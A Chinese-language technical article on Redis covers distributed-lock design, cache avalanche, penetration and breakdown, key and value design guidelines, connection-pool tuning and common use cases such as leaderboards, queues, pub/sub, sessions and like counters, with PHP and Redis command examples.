第一次请求进来会去setNx,返回true,因为lock_key不存在,然后下面业务逻辑正常进行,任务执行完了之后把lock_key删除掉,这样下一次请求进来重复上述逻辑 第二次请求进来同样会去执行setNx,返回false,因为lock_key已经存在,然后直接返回错误信息(双11抢购秒杀产品时返回的系统繁忙就是这么来的),不执行库存减1的操作 两个请求同时setNx的话获取的结果不都是true了,不会同时去执行业务逻辑,redis是单线程的,具备原子性,不同的请求执行setnx是顺序执行的,所以这个是不用担心的。 看似问题解决了,其实并不然,这里伪代码写的简单,查询一下库存,然后减1操作而已,但生产环境非常复杂,在一些极端情况下程序很可能会报错崩溃,如果第一次执行加锁了之后程序报错了,那这个锁永远存在,接下来的请求永远也请求不进来了,所以继续优化version-2
在setnx的时候给加上过期时间,这样至少不会让锁一直存在成为死锁 做try catch处理,万一程序抛出异常把锁删掉,也是为了解决死锁问题,这次是把死锁问题解决了,但存在的问题如下 过期时间是5秒钟,万一这个请求执行了6秒钟怎么办?超出的那一秒,跟没有加锁有什么区别?其实不仅仅如此,还有一个更严重的问题存在。比如第二个请求也是执行6秒,那么在第二个请求在超出的那1秒才进来的时候,第一个请求执行完了,当然会删除第二个请求加的锁,如果一直并发都很大的话,锁跟没有加没什么区别。 针对上述问题,最直接的办法是加长过期时间,但这个不是解决问题的最终办法。把时间设置过长也会产生新的问题,比如各种原因机器崩溃了,需要重启,然后把锁设置的时间是1 年,同时也没有delete掉,难道机器重启了再等一年?另外这样设置固定值的解决方案在计算机当中是不允许的,曾经的"千年虫"问题就是类似的原因导致的 在加超时时间的时候一定要注意是一次性加上,保证其原子性,不要先setnx之后,再设置expire_time,这样的话万一在setnx之后那一个瞬间系统挂了,这个锁依然会成为一个永久的死锁 其实上述问题的主要原因在于,请求1会删掉请求2的锁,所以说锁需要保证唯一性。version-3
在每个请求生成了唯一client_id,并且把该值写入了lock_key中 在最后删除锁的时候会先判断这个lock_key是否是该请求生成的,如果不是的话则不会删除 但上面方案还有问题,最后redis是先进行了get操作判断,然后再删除,是两步操作,并没有保证其原子性,redis的多步操作可以用lua脚本来保证原子性,lua就是一种语言,在这里的作用是把多个redis操作打包成一个命令去执行,保证了原子性而已version-4
这样封装之后,分布式锁应该就比较完善了,当然还可以进一步的优化一下用户体验 现在比如一个请求进来之后,如果请求被锁住会立即返回给用户请求失败,请重新尝试,可以适当的延长一点这个时间,不要立即返回给用户请求失败,这样体验会更好 具体方式为用户请求进来如果遇到了锁,可以适当的等待一些时间之后重试,重试的时候如果锁释放了,则这次请求就可以成功version-5
Redis优化
【 缓存设计 】 在使用Redis场景中最常见的问题就是缓存雪崩、缓存穿透和缓存击穿,后果都是由于各种情况导致大量请求直接访问DB,使得DB压力巨增,从而DB服务瘫痪,导致整体服务有问题,参见新浪微博明星、大V的推送 1 缓存雪崩 缓存雪崩指大批量缓存在同一时间失效或缓存层支撑不住宕机,导致流量直接涌入数据库中,造成数据库压力过大甚至挂掉。 解决方案 把每个key的失效时间都加个随机值,保证数据不在同一时间大面积失效。 保证缓存层服务高可用,构建多个redis实例,个别节点挂了还有别的可以用 多级缓存:比如增加本地缓存,减小redis压力。 依靠隔离组件为后端限流熔断并降级,对存储层增加限流措施,当请求超出限制,提供降级服务(一般就是返回错误即可) 提前演练缓存层宕机后,应用及后端的负载情况及可能出现的问题,在此基础上做一些预案设定 2 缓存穿透 缓存穿透是指查询一个根本不存在的数据,缓存层和存储层都不会命中,通常出于容错的考虑,如果从存储层查不到数据则不写入缓存层。缓存穿透将导致不存在的数据每次请求都要到存储层去查询,失去了缓存保护后端存储的意义。 一般的缓存系统都是按照key去缓存查询,如果不存在对应的value就去后端系统比如DB查找 一些恶意的请求会故意查询不存在的key,请求量很大,就会对后端系统造成很大的压力。这就叫做缓存穿透。 解决方案 缓存空对象,对查询结果为空的情况也进行缓存,这样再次访问时缓存层会直接返回空值。缓存时间设置短一点,或者该key对应的数据insert了之后清理缓存 接口增加校验,避免不合法的参数传递进来 采用布隆过滤器,对一定不存在的key进行过滤 3 缓存击穿 缓存击穿是指一个Key非常热点,在不停的扛着大并发,大并发集中对这一个点进行访问,当这个Key在失效的瞬间,持续的大并发就穿破缓存,直接请求数据库,就像在一个完好无损的桶上凿开了一个洞。 解决方案 热点数据永不过期,设置热点Key,自动检测热点Key,将热点Key的过期时间加大或设置为永不过期,或设置为逻辑上永不过期 重建热点key时加互斥锁,当发现没有命中Redis去查数据库的时候,在执行更新缓存的操作上加锁,当一个线程访问时,其它线程等待,这个线程访问过后,缓存中的数据会被重建,这样其他线程就可以从缓存中取值。系统崩溃
【 性能优化 】
1 缓存与数据库双写不一致
解决方案如下:
对于并发几率很小的数据(如个人维度的订单数据、用户数据等)几乎不用考虑,很少会发生缓存不一致,可给缓存数据加上过期时间,每隔一段时间触发读的主动更新即可。
就算并发很高,如果业务上能容忍短时间的缓存数据不一致(如商品名称,商品分类菜单等),缓存加上过期 时间依然可以解决大部分业务对于缓存的要求。
如果不能容忍缓存数据不一致,可以通过加读写锁保证并发读写或写写的时候按顺序排好队,读读的时候相当于无锁。
也可以用阿里开源的canal通过监听数据库的binlog日志及时的去修改缓存,但引入了新的中间件,增加了系统的复杂度。
2 键值设计
2.1 key名设计
【建议】: 可读性和可管理性,以业务名(或数据库名)为前缀(防止key冲突),用冒号分隔,比如业务名:表名:id 为 trade:order:1
【建议】:简洁性,保证语义的前提下,控制key的长度,当key较多时,内存占用也不容忽视,例如:user:{uid}:friends:messages:{mid} 简化为 u:{uid}:fr:m:{mid}
【强制】:不要包含特殊字符
2.2 value设计
【推荐】:选择适合的数据类型,例如:实体类型(要合理控制和使用数据结构,但也要注意节省内存和性能之间的平衡)
控制key的生命周期,redis不是垃圾桶。建议使用expire设置过期时间(条件允许可以打散过期时间,防止集中过期)。
【强制】:拒绝bigkey(防止网卡流量、慢查询)
bigkey
Redis中一个字符串最大512MB,一个二级数据结构(如hash、list、set、zset)可存储大约40亿个(2^32-1)个元素,但实际中如果下面两种情况就会认为它是bigkey。
字符串类型:它的big体现在单个value值很大,一般认为超过10KB就是bigkey。
非字符串类型:哈希、列表、集合、有序集合,它们的big体现在元素个数太多,一般string类型控制在10KB以内,hash、list、set、zset元素个数不要超过5000。
bigkey的危害:
导致Redis阻塞
网络阻塞
过期删除有可能阻塞Redis
bigkey的产生:
一般bigkey的产生都是由于程序设计不当或对于数据规模预料不清楚造成的
(1) 社交类:粉丝列表,如果某些明星或大v不精心设计下必是bigkey。
(2) 统计类:例如按天存储某项功能或网站的用户集合,除非没几个人用,否则必是bigkey。
(3) 缓存类:将数据从数据库load出来序列化放到Redis里,这个方式非常常用,但有两个地方需注意,第一是不是有必要把所有字段都缓存;第二有没有相关关联的数据,有时为了图方便把相关数据都存一个key下产生bigkey。
优化bigkey:
拆,big list: list1、list2、...listN
big hash:可以讲数据分段存储,比如一个大的key,假设存了1百万的用户数据,可以拆分成200个key,每个key下面存放5000个用户数据
如果bigkey不可避免,也要思考一下要不要每次把所有元素都取出来(例如有时候仅仅需要 hmget,而不是hgetall),删除也是一样,尽量使用优雅的方式来处理。
2.3 命令使用
【推荐】 O(N)命令关注N的数量,例如hgetall、lrange、smembers、zrange、sinter等并非不能使用,但需明确N的值,有遍历的需求可用hscan、sscan、zscan代替
【推荐】禁用命令,禁止线上使用keys、flushall、flushdb等,通过redis的rename机制禁掉命令,或者使用scan的 方式渐进式处理。
【推荐】合理使用select,redis的多数据库较弱,使用数字进行区分,很多客户端支持较差,同时多业务用多数据库实际还是单线程处理,会有干扰。
【推荐】使用批量操作提高效率,但要注意控制一次批量操作的元素个数(例如500以内,实际也和元素字节数有关)。
【建议】Redis事务功能较弱,不建议过多使用,可以用lua替代
2.4 客户端使用
【推荐】避免多个应用使用一个Redis实例,正例:不相干的业务拆分,公共数据做服务化。
【推荐】使用带有连接池的数据库,可以有效控制连接,同时提高效率。
【建议】高并发下建议客户端添加熔断功能(例如sentinel、hystrix)
【推荐】设置合理的密码,如有必要可以使用SSL加密访问
JedisPool连接池的优化建议:
maxTotal:最大连接数,早期的版本叫maxActive 实际上这个是一个很难回答的问题,考虑的因素比较多:
业务希望Redis并发量
客户端执行命令时间
Redis资源:例如 nodes(例如应用个数) * maxTotal 是不能超过redis的最大连接数 maxclients。
资源开销:例如虽然希望控制空闲连接(连接池此刻可马上使用的连接),但是不希望因 为连接池的频繁释放创建连接造成不必靠开销。
以一个例子说明,假设:
一次命令时间(borrow|return resource + Jedis执行命令(含网络) )的平均耗时约为1ms,一个连接的QPS大约是1000
业务期望的QPS是50000 那么理论上需要的资源池大小是50000 / 1000 = 50个。但事实上这是个理论值,还要考虑到要比理论值预留一些资源,通常来讲maxTotal可以比理论值大一些。
maxIdle和minIdle
maxIdle实际上才是业务需要的最大连接数,maxTotal是为了给出余量,所以maxIdle不要设置 过小,否则会有new Jedis(新连接)开销。
连接池的最佳性能是maxTotal = maxIdle,这样就避免连接池伸缩带来的性能干扰。但是如果并发量不大或maxTotal设置过高会导致不必要的连接资源浪费。一般推荐maxIdle可以设置为按上面的业务期望QPS计算出来的理论连接数,maxTotal可以再放大一倍。minIdle(最小空闲连接数),与其说是最小空闲连接数,不如说是"至少需要保持的空闲连接数",在使用连接的过程中,如果连接数超过了minIdle,那么继续建立连接,如果超过了maxIdle,当超过的连接执行完业务后会慢慢被移出连接池释放掉。 如果系统启动完马上就会有很多的请求过来,那么可以给redis连接池做预热,比如快速的创建一些redis连接,执行简单命令,类似ping(),快速的将连接池里的空闲连接提升到minIdle的数量。
Redis使用场景
Redis在很多方面与其他数据库解决方案不同: 使用内存提供主存储支持,使用硬盘做持久性的存储;数据模型非常独特,用单线程。另一个大区别在于可以在开发环境中使用Redis的功能,但却不需要转到Redis。转向Redis当然也是可取的,许多开发者从一开始就把Redis作为首选数据库;但设想如果开发环境已经搭建好,应用已经在上面运行了,那么更换数据库框架显然不那么容易。另外在一些需要大容量数据集的应用,Redis也并不适合,因为它的数据集不会超过系统可用的内存。所以如果有大数据应用,而且主要是读取访问模式,那么Redis并不是正确的选择。
可以把redis融入到系统中来,这就能够解决很多问题,比如那些现有的数据库处理起来感到缓慢的任务就可以通过Redis来进行优化,或者为应用创建些新的功能
Redis在大型分布式系统架构中主要的一些应用场景包括:单点登陆系统的权限验证,直播平台的好友列表显示,商品秒杀活动的剩余商品数目,电商网站的商品排行,网站的访问数量统计等高并发访问的功能需求
应用场景:
1.缓存
2.聊天室,秒杀,任务队列(list结构,pop弹出,push插入)
3.数据存储(add,del,update,select)定期持久化到硬盘中
4.网站统计
5.数据过期处理
6.分布式集群架构中的session分离
7.应用排行榜
【 hash应用 】
商品维度计数
对商品喜欢数、评论数、鉴定数、浏览数、etc进行计数
Redis的命令都是原子性的,可以轻松地利用INCR、DECR等命令来计数。
$redis->hSet('product:123','like_num',5); // 添加id为123的商品喜欢数like_num为5
$redis->hIncrBy('product:123','like_num',1); // 添加id为123的商品喜欢数like_num+1
$redis->hGetAll('product:123'); // 获取id为123的商品相关信息
用户维度计数
对用户动态数、关注数、粉丝数、喜欢商品数、发帖数等计数
用户维度计数同商品维度计数都采用Hash,为User定义个key为user:
$redis->hSet('user:100000','follow ',5); // 添加uid为10000的用户关注数follow为5
$redis->hIncrBy('user:100000','follow ',1); // 更新uid为10000的用户follow+1
$redis->hGetAll('user:100000'); // 获取uid为10000的用户
【 sorted set应用 】
存储社交关系
譬如将用戶的好友/粉丝/关注,可以存在一个sorted set中,score可以是timestamp,默认集合按照score递增排序,求共同好友可能就只需要用求交集命令
// uid为1000用户关注uid为1001 ,score值设定时间戳1463557212
$redis->zAdd('user:1000:follow',1463557212,'1001');
$redis->zAdd('user:1000:follow',1463557333,'1002');
// uid为2000用户关注1001和1003用户 ,score值设定时间戳
$redis->zAdd('user:2000:follow',1463577568,'1001');
$redis->zAdd('user:2000:follow',1463896964,'1003');
// 对集合'user:1000:follow'和'user:2000:follow'取交集'com_fllow:1000:2000',获得共同关注的uid
$redis->zInter('com_fllow:1000:2000',array('user:1000:follow','user:2000:follow'));
$redis->zRange('com_fllow:1000:2000',0,-1); // 获取全部集合元素,array('10001','10002')
限制访问频率: Redis实现限制用户接口API请求频率,例如单用户一分钟之内只能访问多少次
【 显示最新的项目列表 - 分数为固定值,不能修改 】
Redis使用常驻内存的缓存,速度非常快
列出最新的回复之类的查询非常普遍,这通常会带来可扩展性问题,因为项目本来就是按这个顺序被创建的,但要输出这个顺序却不得不进行排序操作,随着数据多了查询毫无疑问会越来越慢,类似的问题就可以用Redis解决。比如一个Web应用想要列出用户贴出的最新20条评论,在最新的评论边上有一个"显示全部"的链接,点击后就可以获得更多的评论。
假设数据库中的每条评论都有一个唯一的递增的ID字段,可以使用分页来制作主页和评论页,使用Redis的模板,每次新评论发表时将它的ID添加到一个Redis列表:
LPUSH latest.comments ID
将列表裁剪为指定长度,因此Redis只需要保存最新的5000条评论,LTRIM限制列表中的项目数最多为5000
LTRIM latest.comments 0 5000
每次需要获取最新评论的项目范围时调用一个函数来完成,如果用户需要检索的数据量超越这个缓存容量,这时才需要把请求发送到数据库
function get_latest_comments(start,num_items){
id_list = redis.lrange("latest.comments",start,start+num_items - 1)
if(id_list.length < num_items){
id_list = SQL_DB("SELECT ... ORDER BY time LIMIT ...")
}
return id_list
}
万一内存清掉了,查询不到存储key的话用mysql查询并且初始化一个List到redis中就好了
【 排行榜相关(leader board) - 分数不是固定值,可以修改 】
排行榜按照得分进行排序,ZADD命令可以直接实现这个功能,而ZREVRANGE命令可用来按照得分来获取前100名的用户,ZRANK可以用来获取用户排名,非常直接而且操作容易
另一个很普遍的需求是各种数据库的数据并非存储在内存中,因此在按得分排序以及实时更新这些几乎每秒钟都需要更新的功能上数据库的性能不够理想。
zadd sortedSet 1 "one" // 向有序集合添加一个元素
zrange sortedSet 0 -1 // 从有序集合获取所有元素
zrange sortedSet 0 -1 withscores // 根据权重从有序集合获取所有元素
典型的比如在线游戏的排行榜,比如一个Facebook的游戏,根据得分通常想要:
- 列出前100名高分选手
- 列出某用户当前的全球排名
这些操作对于Redis来说小菜一碟,即使有几百万个用户,每分钟都会有几百万个新的得分。
ZADD leaderboard score username 每次获得新得分时
ZREVRANGE leaderboard 0 99 前100名高分用户
ZRANK leaderboard username 用户的全球排名
记录用户喜欢的商品最新列表or排行榜
【 按照用户投票和时间排序 】
排行榜的一种常见变体模式就像Reddit或Hacker News用的那样,得分会随着时间变化,新闻按照类似下面的公式根据得分来排序,用户的投票会相应的把新闻挖出来,但时间会按照一定的指数将新闻埋下去
score = points / time^alpha
先观察那些可能是最新的项目,例如首页上的1000条新闻都是候选者,因此先忽视掉其他的,这实现起来很简单。
每次新的新闻贴上来后,将ID添加到列表中,使用LPUSH + LTRIM,确保只取出最新的1000条项目。
有一项后台任务获取这个列表,并且持续的计算这1000条新闻中每条新闻的最终得分。计算结果由ZADD命令按照新的顺序填充生成列表,老新闻则被清除。这里的关键思路是排序工作是由后台任务来完成的。
【 处理过期项目 】
使用unix时间作为关键字,用来保持列表能够按时间排序。对current_time和time_to_live进行检索,完成查找过期项目的艰巨任务。另一项后台任务使用ZRANGE...WITHSCORES进行查询,删除过期的条目
另一种常用的项目排序是按照时间排序,使用unix时间作为得分即可。
- 每次有新项目添加到非Redis数据库时,把它加入到排序集合中,这时用的是时间属性,current_time和time_to_live。
- 另一项后台任务使用ZRANGE…SCORES查询排序集合,取出最新的10个项目,如果发现unix时间已经过期,则在数据库中删除条目
【 计数 】
进行各种数据统计的用途是非常广泛的,比如想知道什么时候封锁一个IP地址。INCRBY命令让这些变得很容易,通过原子递增保持计数;GETSET用来重置计数器;过期属性用来确认一个关键字什么时候应该删除
Redis是一个很好的计数器,Redis的命令都是原子性的,可轻松地利用INCR、DECR、INCRBY命令进行原子性操作来构建计数系统。由于单线程可以避免并发问题,保证不会出错,而且100%毫秒级性能。
比如在一个web应用程序中,如果想知道用户在一年中每天的点击量,那么只要将用户ID以及相关的日期信息作为键,并在每次用户点击页面时,执行一次自增操作即可
【 特定时间内的特定项目 】
这是特定访问者的问题,可以通过给每次页面浏览使用SADD命令来解决,SADD不会将已经存在的成员添加到一个集合
另一项对于其他数据库很难,但Redis做起来却轻而易举的事就是统计在某段特点时间里有多少特定用户访问了某个特定资源,比如想要知道某些特定的注册用户或IP地址,他们到底有多少访问了某篇文章。
SADD page:day1:page_id user_id 每次获得一次新的页面浏览时,可用unix时间替换day1,比如time()-(time()%3600*24)
SCARD page:day1:page_id 特定用户的数量
SISMEMBER page:day1:page_id 测试某个特定用户是否访问了这个页面
【 实时分析正在发生的情况,用于数据统计与防止垃圾邮件等,实时的反垃圾系统 】
如果研究Redis的命令集并组合一下就能获得大量的实时分析方法,有效且省力。使用Redis原语命令更容易实施垃圾邮件过滤系统或其他实时跟踪系统。
反垃圾系统通常都是基于关键词的,使用Redis储存关键词,利用Redis的高性能为监控系统提供稳定及精确的实时监控功能,典型的案例如邮件系统、评论系统等。
反spam系统
应用系统评论、发布商品、论坛发贴的spam控制
电商网站不免被各种spam攻击,垃圾评论、发布垃圾商品、广告、刷自家商品排名等,针对这些spam制定一系列anti-spam规则,其中有些规则可以利用redis做实时分析
譬如1分钟评论不得超过2次、5分钟评论少于5次等
常规sorted set将最近一天用户操作记录起来,不全部记录,节省memory,全部操作会记录到log,后续利用hadoop进行更全面分析统计
$res = $redis->zRangeByScore('user:1000:comment', time() - 5, time()); // 获取5秒内操作记录,判断5秒内不能评论
if(!$res){
$redis->zAdd('user:1000:comment',time(),'评论内容');
}else{
echo '5秒之内不能评论';
}
【 Pub/Sub使用redis的订阅发布解决扫码支付实时响应 】
在更新中保持用户对数据的映射是系统中的一个普遍任务
Redis的Pub/Sub非常简单,运行稳定并且快速。支持模式匹配,能够实时订阅与取消频道,可以构建实时的消息系统,例如可以创建一个实时的聊天系统、社交网络中的通知触发器等
publish channel message // 发布消息
subscribe channel // 订阅
设计思路:
服务端发送含标题和内容的消息,标题按照一定规则存入redis,同时标题(以最少的信息量)推送到客户端,客户点击标题时获取相应的内容阅读
如果未读取,可以提示多少条未读,redis能够很快记数
根据一定时间清理缓存
技术实现:
需要redis数据库,客户端websocket,服务器端websocket
场景描述
PC收银台的浏览器展示了收款二维码,用户扫了支付二维码,支付完成后浏览器需要实时响应支付结果。
问题描述
扫码支付的支付结果一般通过服务端回调或主动查询来获取,但显示二维码之后,如果不断的去轮询的话增加了服务器的压力。如果服务端回调支付结果,能立马把支付结果响应给收银台的浏览器,问题就解决了。前端调用一次查询,如果状态还是处理中就阻塞在那里,直到有支付结果再响应浏览器,想要阻塞,最开始想到用Java的队列,单机没问题,但生产上的回调服务器和交易服务器不是同一台,所以无效。
实现逻辑
交易服务器获取收款二维码在前端显示,在等待用户支付的同时调用一次查询,在后台的查询方法中,如果支付完成立马响应支付结果,如果没有支付完成,就利用redis订阅支付结果,用户扫码支付完成之后,微信、支付宝或银联会异步回调通知回调服务器,回调服务器再调用redis的发布,把支付结果发布出去,这个时候交易服务器就订阅到支付结果了,就可以向浏览器作响应了
注意事项
在测试的过程中发现,订单支付完成了,在更新支付结果的方法里,一发布支付结果,客户端就订阅了,但结果订阅的不是最新的状态。后来通过断点分析代码,终于找到原因。原来更新状态和发布状态的这些方法在一个事务里面,虽然发布了状态,但事务还没结束,因此数据更新还没提交就开始查询,查到的数据当然就不是最新的了。
为避免这个问题,因此在使用的��候要注意:
1、在更新的事务结束之后,再发布支付状态。(带有事务的更新方法在很多地方被调用,在外层加方法改动太多,不现实)
2、在订阅的地方,订阅到消息,不要立马去数据库查询,每间隔等待一会儿再查,直到查到最终结果为止。
【 队列 采用Redis的List数据结构实现分布式的消息队列 】
现代的互联网应用大量地使用了消息队列(Messaging),消息队列不仅被用于系统内部组件之间的通信,同时也被用于系统跟其它服务之间的交互。
消息队列的使用可以增加系统的可扩展性、灵活性和用户体验
非基于消息队列的系统,其运行速度取决于系统中最慢的组件的速度即短板效应
而基于消息队列可以将系统中各组件解除耦合,这样系统就不再受最慢组件的束缚,各组件可以异步运行从而得以更快的速度完成各自的工作。
除list push和pop类型命令外,Redis还有阻塞队列的命令能在列表为空时阻塞队列,让程序在执行时被另一个程序添加到队列,也可以做些更有趣的事情,如旋转更新的RSS feed队列
Redis可以轻松而自然的创建出一个高效的队列,比如日志推送、任务处理email的发送队列、等待被其他应用消费的数据队列,以往通常使用http sqs实现队列
此外当服务器处在高并发操作的时候,比如频繁地写入日志文件,可以利用消息队列实现异步处理,从而实现高性能的并发操作
用redis实现消息队列(实现实时消费+ack机制)
ack即消息确认机制(Acknowledge)
解耦应用、
异步化消息
流量削峰填谷
列表的阻塞式弹出blpop\brpop有两个特点:
1、如果list中没有任务的时候该连接将会被阻塞
2、连接的阻塞有一个超时时间,超时时间该怎么设置呢,能不能保证在队列有消息进入之前一只保持阻塞状态?显然很难做到,因为两者没有相互约束。
好在Redis还支持Pub/Sub(发布/订阅),在消息A入队list的同时发布(PUBLISH)消息B到频道channel,此时已经订阅channel的worker就接收到了消息B,知道了list中有消息A进入,即可循环lpop或rpop来消费list中的消息
// 添加一条消息
zadd due due_timestamp var_id
hset messages var_id var_message
// 接收消息
zrangebyscore due -inf current_timestamp limit 0 1
hget message message_id
// 删除
zrem due message_id
hdel message message_id
实例1
$redis->rpush('queue_name',json_encode(['user_id'=>5])); // 数据进队列
$redis->rpush('queue_name',json_encode(['user_id'=>6]));
$redis->rpush('queue_name',json_encode(['user_id'=>7]));
$res = $redis->lrange('queue_name',0,1000); //查看队列
print_r($res);
$redis->lpop('queue_name'); //出队列
实例2
cmd> lpush list a
cmd> lpush list b
cmd> lpush list c
cmd> rpop list // 从队列中取出最老的信息
cmd> lpop list // 从队列中取出最新的信息,类似一个栈的结构
【 缓存 】
Redis能替代memcached,让缓存从只能存储数据变得能够更新数据,因此不再需要每次都重新生成数据了,应用于商品列表,评论列表,@提示列表
$redis->set('cache_key',json_encode(['data'=>'这是缓存数据'])); //缓存数据
$data = $redis->get('cache_key'); //获取缓存数据
print_r(json_decode($data,true));
技术的选择一定是根据实际情况的,如果内存不足就不适合,再比如客户在网络上分布很广,有些用户访问服务器所用网络时比较慢就得用CDN解决,即使redis能抗住也不适用这种场景
Session存储可能是应用最广的点了,相比较于类似memcache的session存储,Redis具有缓存数据持久化的能力,当缓存因出现问题而重启后之前的缓存数据还在,避免了因为session突然消失带来的用户体验问题
使用nginx负载均衡时session需要共享,可以使用Redis来存储Session达到共享目的
set randomHash "{userId}" ex 60 // 设置session,有效期为一分钟
get randomHash // 获取userId
hmset sessionid:i4w3axuzyj4nwwg75y6k5us2 username kris password password
hgetall sessionid:i4w3axuzyj4nwwg75y6k5us2
【 消息通知 】
采用Hash结构对消息通知业务场景计数
$redis->hSet('user:1000:message:notice','system',1); // 设置1条未读系统消息
$redis->hIncrBy('user:1000:message:notice','system',1); // 未读系统消息+1
$redis->hSet('user:1000:message:notice','comment',1); // 设置1条未读评论
$redis->hIncrBy('user:1000:message:notice','comment',1); // 未读评论+1
$redis->hGetAll('user:1000:message:notice'); // 查看所有消息通知数量,[[system] => 2,[comment] => 2]
【 数据排重 】
Redis set可以自动排重,当需要存储一个列表数据又不希望出现重复数据时set是一个很好的选择,并且set提供了判断某个成员是否在一个set集合内的重要接口。
实现方案:
set的内部实现是一个value永远为null的HashMap,实际就是通过计算hash的方式来快速排重的,这也是set能提供判断一个成员是否在集合内的原因
这个使用Redis的set数据结构最合适了,只需要不断地将数据往set中扔就行了,set意为集合,所以会自动排重
【 用户Timeline/Feeds 】
应用于关注的人、主题、品牌及专栏,redis在这边主要当作cache使用
$redis->zAdd('user:2000:feed:topic', time(), '13'); //score为timestamp,uid为2000的用户关注tid为13的topic
$redis->expire('user:2000:feed:topic', 24*60*60); // 关注有效期为24小时,ttl 30天之内按秒数计算,30天之外以timestamp为准
Redis实现文章点赞功能模块
点赞基本的设计思路有大致两种,一种自然是用mysql,数据库直接落地存储,另外一种就是利用点赞的业务特征来扔到redis或memcache中,然后离线刷回mysql等。
直接写入Mysql是最简单的做法,做三个表即可
comment_info 记录文章的主要内容,主要有like_count,hate_count,score这三个字段是本次功能的主要字段。
comment_like 记录文章被赞的次数,已有多少人赞过这种数据就可以直接从表中查到;
user_like_comment 记录用户赞过了哪些文章,当打开文章列表时,显示的有没有赞过的数据就在这里面;
缺点
数据库读写压力大
热门文章会有很多用户点赞,甚至是短时间内被大量点赞,直接操作数据库从长久来看不是很理想的做法
redis存储随后批量刷回数据库
redis主要特点是快,主要数据都在内存,不选择memcache的主要原因在于redis支持更多的数据类型,例如hash,set,zset等
优点
性能高
缓解数据库读写压力,更多的在于缓解写压力,读压力通过mysql主从甚至通过加入redis对热点数据做缓存都可以解决,写压力对于前面的方案确实是不大好使。
缺点
开发复杂,比直接写mysql的方案要复杂很多,需要考虑的地方也很多;
不能保证数据安全性
redis挂掉的时候会丢失数据,不及时同步redis中的数据可能会在redis内存置换的时候被淘汰掉,不过对于点赞稍微丢失一点数据问题不大;
其实上面第二点缺点是可以避免的,这就涉及到redis的一些设计模式
设计功能前知识准备
1.将要用到的redis数据类型
zset类型主要用来做排序或数字的增减,这里被用作like和hate的数字记录及热度的记录。
set是无序集合,主要用来记录今天需不需要更新,将今天被点赞过的文章id记录下来,方便晚上或有时间对这部分数据更新。
hash散列主要用来存储数据及索引,这里被用来记录用户对哪个文章点了什么,方便下次判断,也可使用set来记录,但hash速度快更省空间方便管理
list队列数据能不能安全回到mysql就靠它了。
2.关于热度的判断:
浏览量 点赞数 评论数 -> 热门文章、热评文章、最新文章、随即文章
文章获得点赞数越高,文章的热度就越高,那么怎么判断呢?不就直接记录点赞数就行啦,但对于最新的文章怎么办?例如有一篇文章一年前发布的,获得50个赞,有篇最新文章获得49个赞,但按照上面所说的一年前的文章热度还比最新的高,这就不合理了,文章都是时效性,谁都想看最新最热的。
所以要换个方法去处理这个时效性,时间戳随着时间越新数字越大,直接将时间戳初始化赋值给文章的score,这样最新的文章相比以前的文章就会靠前了。接着是点赞对score的影响,假设一天得到20个赞算是一天最热,一天60*60*24=86400秒,然后得到一个赞就是得到86400/20=4320分,具体数字看业务需求,点hate当然也会减去相应的数字。
thinkphp使用redis实现点赞功能thinkphp5操作redi的shash散列和zset有序集合实现文章的热度排行和点赞排行
【 热点数据 推荐排序 综合排序 】
网站每天都能产生很多数据,需要一个推荐列表页面来展示数据。最初是完全按照时间倒序来排序的,但这样就产生了一个问题:新鲜的数据不一定是有价值的数据
假设某个时段灌水的数据比较多,那么用户当时在列表页看到的就都是灌水的内容。
换个思路:给每个数据投票,投票规则可以按业务逻辑自定义,比如:每次评论加一票,每次转发加两票等,然后按照投票数来倒序是不是就可以了?
还有问题:有价值的数据不一定是新鲜的数据!假设历史上曾经产生了一个高票的数据,那么不管过多久,它都会一直占据前排座位
由此可见最好的结果是让用户能看到既新鲜又有价值的数据。
一种方法是让分数随着时间的流逝而降低,比如说一条数据原本的分数是100分,第二天衰减到50分,第三天衰减到25分,以此类推。此方法的优点是简单易懂,缺点是数据的分数随着时间的变化而变化,实际应用中可能需要用cron之类的方法定期更新数据的分数,一旦数据比较多就悲剧了。
另一种方法是让分数本身就包含时间因子:「t / 43200 + log10(x)」:
t表示的是数据生成时的时间戳,43200表示半天(12个小时)的秒数。t/43200得到的就是有多少个半天
x表示的是数据得到的票数。
$result = [];
$dates = [ '2017-01-01', '2017-01-02', '2017-01-03', '2017-01-04', '2017-01-05', ];
foreach ($dates as $date) {
$result[$date] = strtotime($date) / 43200;
}
var_export($result); // array('2017-01-01'=>34334, '2017-01-02'=>34336, '2017-01-03'=>34338, '2017-01-04'=>34340, '2017-01-05'=>34342)
实际上t/43200相当于时间分,随着时间的增加而增加,其基数比较大,保证了新鲜的数据会排在前面,同时每天时间分的差值为 2,后面会用到这个数字。
可以把log10(x)理解成价值分,其基数比较小,之所以做log10的对数运算就是为了快速衰减,确保前面投票的权重大于后面投票,如此有利于让有价值的数据尽早被发现:
$result = [];
$values = [ 10000, 1000, 100, ];
foreach ($values as $value) {
$result[$value] = sprintf('%.5f', log10($value));
}
var_export($result); // array ( 10000 => '4.00000', 1000 => '3.00000', 100 => '2.00000', )
如上所示:如果一条数据的得票数是100,那么它的价值分将是2,最多可以在推荐列表上停留一天;如果一条数据的得票数是1000,那么它的价值分将是3,最多可以在推荐列表上停留一天半,如果一条数据的得票数是10000,那么它的价值分将是4,最多可以在推荐列表上停留两天,如此保证价值分高的数据不会霸占前排座位太久。
最后要说明的是,与其死记硬背公式,倒不如理解它的意思,并根据客观情况调整,比如说,有的人觉得时间分本身太大了,那么可以减去一个参照时间。有的人觉得为什么一定要除以12个小时,除以12.5个小时可不可以?当然是可以,有的人觉得为什么一定要用以10为底的对数,可不可以使用科学对数?当然可以!只要理解了分数中时间分和价值分的用意,那么怎么实现它们都可以。
【 方案二 】
功能点设计
有点赞的功能,统计文章点赞的总数,用户所有文章的点赞数,因此设计的点赞功能模块具有以下功能点:
某篇文章的点赞数
用户所有文章的点赞数
用户点赞的文章
持久化到MySQL数据库
Redis数据库设计
Redis是K-V数据库,没有统一的数据结构,针对不同的功能点设计了不同的K-V存储结构
用户某篇文章的点赞数: 使用HashMap数据结构,HashMap中的key为articleId,value为Set,Set中的值为用户ID,即HashMap< String, Set< String>>
用户总的点赞数: 使用HashMap数据结构,HashMap中的key为userId,value为String记录总的点赞数
用户点赞的文章: 使用HashMap数据结构,HashMap中的key为userId,value为Set,Set中的值为文章ID,即HashMap< String, Set< String>>
MySQL数据库设计
article表结构
article_name varchar 文章名字
content blob 文章内容
total_like_count bigint 文章总点赞数,文章总的点赞数需要和Redis中的点赞数进行同步
user_like_article表结构,记录用户点赞文章的信息,是一张中间表
user_id bigint 用户ID
article_id bigint 文章ID
